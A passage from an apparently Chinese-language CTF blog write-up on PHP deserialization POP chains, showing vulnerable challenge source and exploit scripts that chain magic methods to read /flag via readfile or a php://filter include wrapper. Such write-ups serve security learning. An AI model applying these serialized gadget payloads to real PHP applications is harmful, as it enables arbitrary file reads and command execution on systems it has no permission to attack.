class="keyword">else</span>&#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;Welcome to NewStarCTF 2023!&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Then</span></span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$func</span>;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>) //把对象当作字符串时触发</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        (<span class="variable language_">$this</span>-&gt;func)(); <span class="comment">//把对象当作方法（函数），触发__invoke</span></span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;Good Job!&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Handle</span></span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> <span class="variable">$obj</span>;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__call</span>(<span class="params"><span class="variable">$func</span>, <span class="variable">$vars</span></span>) //调用不可访问的方法时触发</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;obj-&gt;<span class="title function_ invoke__">end</span>(); <span class="comment">//调用end函数</span></span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Super</span></span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> <span class="variable">$obj</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__invoke</span>(<span class="params"></span>) //将对象调用为函数时触发</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;obj-&gt;<span class="title function_ invoke__">getStr</span>(); <span class="comment">//不存在getStr方法，触发__call</span></span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">end</span>(<span class="params"></span>) //错误的<span class="title">end</span>函数</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&quot;==GAME OVER==&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CTF</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$handle</span>;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">end</span>(<span class="params"></span>) // 正确的<span class="title">end</span>函数</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">unset</span>(<span class="variable language_">$this</span>-&gt;handle-&gt;log); <span class="comment">//handle-&gt;log不可访问，触发__unset</span></span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">WhiteGod</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$func</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$var</span>;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__unset</span>(<span class="params"><span class="variable">$var</span></span>) //在不可访问的属性上使用<span class="title">unset</span>(<span class="params"></span>)时触发</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        (<span class="variable language_">$this</span>-&gt;func)(<span class="variable language_">$this</span>-&gt;<span class="keyword">var</span>); <span class="comment">//可以构造执行系统命令,比如:system(ls /)</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line">@<span class="title function_ invoke__">unserialize</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;pop&#x27;</span>]); </span><br></pre></td></tr></table></figure></div><p>由此可以构造出 POP 链子</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Begin::__destruct -&gt; Then::toString -&gt; Super::__invoke -&gt; Handle::__call -&gt; CTF::end -&gt; WhiteGod::__unset</span><br></pre></td></tr></table></figure></div><p>由于链子调用中成员属性有 private 和 protected，用 construct 方法去调用链子，最后再使用 url 编码绕过</p><p>exp</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Begin</span></span>&#123;    </span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$name</span>;    </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$a</span></span>)    </span></span><br><span class="line"><span class="function">    </span>&#123;        </span><br><span class="line">        <span class="variable language_">$this</span>-&gt;name = <span class="variable">$a</span>;    </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Then</span></span>&#123;    </span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$func</span>;    </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$a</span></span>)    </span></span><br><span class="line"><span class="function">    </span>&#123;        </span><br><span class="line">        <span class="variable language_">$this</span>-&gt;func= <span class="variable">$a</span>;    </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Handle</span></span>&#123;    </span><br><span class="line">    <span class="keyword">protected</span> <span class="variable">$obj</span>;    </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$a</span></span>)    </span></span><br><span class="line"><span class="function">    </span>&#123;        </span><br><span class="line">        <span class="variable language_">$this</span>-&gt;obj = <span class="variable">$a</span>;    </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Super</span></span>&#123;    </span><br><span class="line">    <span class="keyword">protected</span> <span class="variable">$obj</span>;    </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$a</span></span>)    </span></span><br><span class="line"><span class="function">    </span>&#123;        </span><br><span class="line">        <span class="variable language_">$this</span>-&gt;obj = <span class="variable">$a</span>;    </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CTF</span></span>&#123;    </span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$handle</span>;    </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$a</span></span>)    </span></span><br><span class="line"><span class="function">    </span>&#123;        </span><br><span class="line">        <span class="variable language_">$this</span>-&gt;handle = <span class="variable">$a</span>;    </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">WhiteGod</span></span>&#123;    </span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$func</span>;    </span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$var</span>;    </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$a</span>, <span class="variable">$b</span></span>)    </span></span><br><span class="line"><span class="function">    </span>&#123;        </span><br><span class="line">        <span class="variable language_">$this</span>-&gt;func = <span class="variable">$a</span>;        </span><br><span class="line">        <span class="variable language_">$this</span>-&gt;<span class="keyword">var</span> = <span class="variable">$b</span>;    </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">new</span> <span class="title class_">Begin</span>(<span class="keyword">new</span> <span class="title class_">Then</span>(<span class="keyword">new</span> <span class="title class_">Super</span>(<span class="keyword">new</span> <span class="title class_">Handle</span>(<span class="keyword">new</span> <span class="title function_ invoke__">CTF</span>(<span class="keyword">new</span> <span class="title class_">WhiteGod</span>(<span class="string">&quot;readfile&quot;</span>,<span class="string">&quot;/flag&quot;</span>))))));</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">urlencode</span>(<span class="title function_ invoke__">serialize</span>(<span class="variable">$a</span>));</span><br></pre></td></tr></table></figure></div><p>稍微总结一下，POP 链的头一般是 GET/POST 传参引发 <code>__wakeup</code>  ,  <code>__construct</code>  ,  <code>__destruct</code></p><p>结尾一般是输出敏感信息或者执行系统命令所在函数，即 GetFlag 的点</p><h5 id="mrctf2020ezpop1"><a class="markdownIt-Anchor" href="#mrctf2020ezpop1">#</a> [MRCTF2020]Ezpop1</h5><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line">Welcome to index.php</span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">//flag is in flag.php</span></span><br><span class="line"><span class="comment">//WTF IS THIS?</span></span><br><span class="line"><span class="comment">//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95</span></span><br><span class="line"><span class="comment">//And Crack It!</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Modifier</span> </span>&#123;</span><br><span class="line">    <span class="keyword">protected</span>  <span class="variable">$var</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">append</span>(<span class="params"><span class="variable">$value</span></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">include</span>(<span class="variable">$value</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__invoke</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">append</span>(<span class="variable">$this</span>-&gt;<span class="keyword">var</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Show</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$source</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$str</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$file</span>=<span class="string">&#x27;index.php&#x27;</span></span>)</span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;source = <span class="variable">$file</span>;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;Welcome to &#x27;</span>.<span class="variable language_">$this</span>-&gt;source.<span class="string">&quot;&lt;br&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">$this</span>-&gt;str-&gt;source;</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/gopher|http|file|ftp|https|dict|\.\./i&quot;</span>, <span class="variable">$this</span>-&gt;source)) &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;hacker&quot;</span>;</span><br><span class="line">            <span class="variable language_">$this</span>-&gt;source = <span class="string">&quot;index.php&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Test</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$p</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;p = <span class="keyword">array</span>();</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__get</span>(<span class="params"><span class="variable">$key</span></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$function</span> = <span class="variable language_">$this</span>-&gt;p;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$function</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;pop&#x27;</span>]))&#123;</span><br><span class="line">    @<span class="title function_ invoke__">unserialize</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;pop&#x27;</span>]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="variable">$a</span>=<span class="keyword">new</span> <span class="title class_">Show</span>;</span><br><span class="line">    <span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure></div><p>先找出可以 getflag 的点，在 <code>Modifier</code>  类中 <code>append</code>  函数有 <code>include</code>  函数可以文件包含，可以利用， <code>__invoke</code>  函数直接调用了 <code>append</code> ，在 Testlei 中 <code>__get</code>  将 p 作为函数调用，会触发 <code>__invoke</code> , 在 <code>__totring</code>  方法中 <code>$this-&gt;str</code>  赋予 <code>test</code>  类，在 <code>test</code>  类读取 <code>source</code>  变量，（因为 <code>test</code>  类中没有 <code>source</code>  属性，则是访问了不可访问的属性）则会自动调用 <code>__get</code>  魔术方法， <code>__wakeup</code>  函数将对象进行正则匹配，会触发 <code>__toString</code> ，而 <code>__wakeup</code>  在反序列化时会调用，可以当作 pop 链头，而尾时 <code>include</code>  函数，可以利用 <code>var</code>  构造 php 为协议获取 flag</p><p>pop 链：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Show:__wakeup -&gt; Show:__toString -&gt; Test:__get -&gt; Modifier:__invoke -&gt;Modifier: append</span><br></pre></td></tr></table></figure></div><p>exp:</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Modifier</span> </span>&#123;</span><br><span class="line"><span class="keyword">protected</span> <span class="variable">$var</span>=<span class="string">&#x27;php://filter/read=convert.base64-encode/resource=flag.php&#x27;</span>; <span class="comment">//构造php为协议获取flag</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Show</span></span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="variable">$source</span>;</span><br><span class="line"><span class="keyword">public</span> <span class="variable">$str</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">_construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line"><span class="variable language_">$this</span>-&gt;source=<span class="variable">$file</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Test</span></span>&#123;</span><br><span class="line"><span class="keyword">public</span> <span class="variable">$p</span>;</span><br><span class="line">&#125; <span class="comment">//1.将用到的类写出形成框架并表明类的属性（变量）</span></span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">new</span> <span class="title function_ invoke__">show</span>();</span><br><span class="line"><span class="variable">$b</span> = <span class="keyword">new</span> <span class="title function_ invoke__">show</span>();</span><br><span class="line"><span class="variable">$c</span> = <span class="keyword">new</span> <span class="title function_ invoke__">test</span>();</span><br><span class="line"><span class="variable">$d</span> = <span class="keyword">new</span> <span class="title class_">Modifier</span>(); <span class="comment">//将用到的类实例化，用到几次实例化几次</span></span><br><span class="line"><span class="variable">$a</span>-&gt;source=<span class="variable">$b</span>;</span><br><span class="line"><span class="variable">$b</span>-&gt;str=<span class="variable">$c</span>;</span><br><span class="line"><span class="variable">$c</span>-&gt;p= <span class="variable">$d</span>;    <span class="comment">//根据pop链将对象串联起来</span></span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">urlencode</span>(<span class="title function_ invoke__">serialize</span>(<span class="variable">$a</span>));  <span class="comment">//序列化头并url编码（在这个题中有protected修饰的属性，会有不可见字符）</span></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></div><h5 id="2021-强网杯-赌徒"><a class="markdownIt-Anchor" href="#2021-强网杯-赌徒">#</a> 2021 强网杯 赌徒</h5><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line">&lt;meta charset=<span class="string">&quot;utf-8&quot;</span>&gt;</span><br><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">//hint is in hint.php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Start</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$name</span>=<span class="string">&#x27;guest&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$flag</span>=<span class="string">&#x27;syst3m(&quot;cat 127.0.0.1/etc/hint&quot;);&#x27;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;I think you need /etc/hint . Before this you need to see the source code&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">_sayhello</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="variable language_">$this</span>-&gt;name;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;ok&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;hi&quot;</span>;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">_sayhello</span>();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__get</span>(<span class="params"><span class="variable">$cc</span></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;give you flag : &quot;</span>.<span class="variable language_">$this</span>-&gt;flag;</span><br><span class="line">        <span class="keyword">return</span> ;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Info</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$phonenumber</span>=<span class="number">123123</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$promise</span>=<span class="string">&#x27;I do&#x27;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;promise=<span class="string">&#x27;I will not !!!!&#x27;</span>;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">$this</span>-&gt;promise;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">$this</span>-&gt;file[<span class="string">&#x27;filename&#x27;</span>]-&gt;ffiillee[<span class="string">&#x27;ffiilleennaammee&#x27;</span>];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Room</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$filename</span>=<span class="string">&#x27;/flag&#x27;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$sth_to_set</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$a</span>=<span class="string">&#x27;&#x27;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__get</span>(<span class="params"><span class="variable">$name</span></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$function</span> = <span class="variable language_">$this</span>-&gt;a;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$function</span>();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">Get_hint</span>(<span class="params"><span class="variable">$file</span></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$hint</span>=<span class="title function_ invoke__">base64_encode</span>(<span class="title function_ invoke__">file_get_contents</span>(<span class="variable">$file</span>));</span><br><span class="line">        <span class="keyword">echo</span> <span class="variable">$hint</span>;</span><br><span class="line">        <span class="keyword">return</span> ;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__invoke</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$content</span> = <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">Get_hint</span>(<span class="variable">$this</span>-&gt;filename);</span><br><span class="line">        <span class="keyword">echo</span> <span class="variable">$content</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;hello&#x27;</span>]))&#123;</span><br><span class="line">    <span class="title function_ invoke__">unserialize</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;hello&#x27;</span>]);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">    <span class="variable">$hi</span> = <span class="keyword">new</span>  <span class="title class_">Start</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></div><p>尾部可以看到 <code>Room</code>  类中有个 <code>Get_hint()</code>  方法，里面有一个 <code>file_get_contents</code> ，可以实现任意文件读取，我们就可以利用这个读取 flag 文件了，然后就是往前倒推， <code>Room</code>  类中 <code>__invoke()</code>  方法调用了 <code>Get_hint()</code> ，然后 <code>Room</code>  类的 <code>__get()</code>  里面有个 <code>return $function()</code>  可以调用 <code>__invoke()</code> ，再往前看， <code>Info</code>  类中的 <code>__toString()</code>  中有 <code>Room</code>  类中不存在的属性，所以可以调用 <code>__get()</code> ，然后 <code>Start</code>  类中有个 <code>_sayhello()</code>  可以调用 <code>__toString()</code> ，然后在 <code>Start</code>  类中 <code>__wakeup()</code>  方法中直接调用了 <code>_sayhello()</code> ，而我们知道的是，输入字符串之后就会先进入 <code>__wakeup()</code></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">头 -&gt; Start::__wakeup() -&gt; Start::_sayhello() -&gt; Info::__toString() -&gt; Room::__get() -&gt; Room::invoke() -&gt; Room::Get_hint() </span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span 